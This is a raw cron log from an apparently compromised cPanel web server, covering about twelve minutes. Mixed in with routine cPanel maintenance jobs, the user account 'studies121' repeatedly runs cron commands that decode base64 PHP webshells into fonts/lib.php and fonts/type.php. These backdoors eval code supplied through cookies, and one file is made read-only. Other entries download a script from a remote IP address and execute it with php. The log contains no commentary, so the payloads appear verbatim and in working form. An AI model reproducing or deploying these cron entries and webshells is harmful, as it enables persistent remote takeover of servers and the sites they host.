Sep 21 16:34:01 ip-184-168-122-23 CROND[10464]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 21 16:34:01 ip-184-168-122-23 CROND[10466]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 21 16:34:01 ip-184-168-122-23 CROND[10465]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 21 16:34:01 ip-184-168-122-23 CROND[10467]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 21 16:35:01 ip-184-168-122-23 CROND[10889]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep 21 16:35:01 ip-184-168-122-23 CROND[10890]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 21 16:35:01 ip-184-168-122-23 CROND[10894]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 21 16:35:01 ip-184-168-122-23 CROND[10895]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 21 16:35:01 ip-184-168-122-23 CROND[10896]: (root) CMD (/usr/bin/test -x /usr/local/cpanel/bin/tail-check && /usr/local/cpanel/bin/tail-check)
Sep 21 16:35:01 ip-184-168-122-23 CROND[10899]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 21 16:35:01 ip-184-168-122-23 CROND[10897]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 21 16:35:01 ip-184-168-122-23 CROND[10901]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 21 16:36:02 ip-184-168-122-23 CROND[11019]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 21 16:36:02 ip-184-168-122-23 CROND[11020]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 21 16:36:02 ip-184-168-122-23 CROND[11022]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 21 16:36:02 ip-184-168-122-23 CROND[11023]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 21 16:36:02 ip-184-168-122-23 CROND[11024]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 21 16:37:01 ip-184-168-122-23 CROND[11134]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 21 16:37:01 ip-184-168-122-23 CROND[11137]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 21 16:37:01 ip-184-168-122-23 CROND[11136]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 21 16:37:01 ip-184-168-122-23 CROND[11135]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 21 16:38:01 ip-184-168-122-23 CROND[11244]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 21 16:38:01 ip-184-168-122-23 CROND[11243]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 21 16:38:01 ip-184-168-122-23 CROND[11247]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 21 16:38:01 ip-184-168-122-23 CROND[11248]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 21 16:38:01 ip-184-168-122-23 CROND[11249]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 21 16:39:02 ip-184-168-122-23 CROND[11367]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 21 16:39:02 ip-184-168-122-23 CROND[11369]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 21 16:39:02 ip-184-168-122-23 CROND[11370]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 21 16:39:02 ip-184-168-122-23 CROND[11371]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 21 16:39:02 ip-184-168-122-23 CROND[11372]: (root) CMD (/usr/local/cpanel/scripts/clean_user_php_sessions > /dev/null 2>&1)
Sep 21 16:40:01 ip-184-168-122-23 CROND[11481]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep 21 16:40:01 ip-184-168-122-23 CROND[11482]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 21 16:40:01 ip-184-168-122-23 CROND[11488]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 21 16:40:01 ip-184-168-122-23 CROND[11489]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 21 16:40:01 ip-184-168-122-23 CROND[11487]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 21 16:40:01 ip-184-168-122-23 CROND[11491]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 21 16:40:01 ip-184-168-122-23 CROND[11492]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 21 16:40:01 ip-184-168-122-23 CROND[11490]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 21 16:41:01 ip-184-168-122-23 CROND[11695]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 21 16:41:01 ip-184-168-122-23 CROND[11696]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 21 16:41:01 ip-184-168-122-23 CROND[11699]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 21 16:41:01 ip-184-168-122-23 CROND[11700]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 21 16:42:01 ip-184-168-122-23 CROND[11857]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 21 16:42:01 ip-184-168-122-23 CROND[11858]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 21 16:42:01 ip-184-168-122-23 CROND[11862]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 21 16:42:01 ip-184-168-122-23 CROND[11869]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 21 16:42:01 ip-184-168-122-23 CROND[11868]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 21 16:43:01 ip-184-168-122-23 CROND[12038]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 21 16:43:01 ip-184-168-122-23 CROND[12040]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 21 16:43:01 ip-184-168-122-23 CROND[12042]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 21 16:43:01 ip-184-168-122-23 CROND[12041]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 21 16:44:01 ip-184-168-122-23 CROND[12146]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 21 16:44:01 ip-184-168-122-23 CROND[12148]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 21 16:44:01 ip-184-168-122-23 CROND[12150]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 21 16:44:01 ip-184-168-122-23 CROND[12149]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 21 16:44:01 ip-184-168-122-23 CROND[12151]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 21 16:45:01 ip-184-168-122-23 CROND[12261]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 21 16:45:01 ip-184-168-122-23 CROND[12263]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 21 16:45:01 ip-184-168-122-23 CROND[12264]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 21 16:45:01 ip-184-168-122-23 CROND[12266]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 21 16:45:01 ip-184-168-122-23 CROND[12267]: (root) CMD (/usr/bin/test -x /usr/local/cpanel/scripts/update_mailman_cache && /usr/local/cpanel/scripts/update_mailman_cache)
Sep 21 16:45:01 ip-184-168-122-23 CROND[12268]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 21 16:45:01 ip-184-168-122-23 CROND[12265]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 21 16:46:01 ip-184-168-122-23 CROND[12398]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
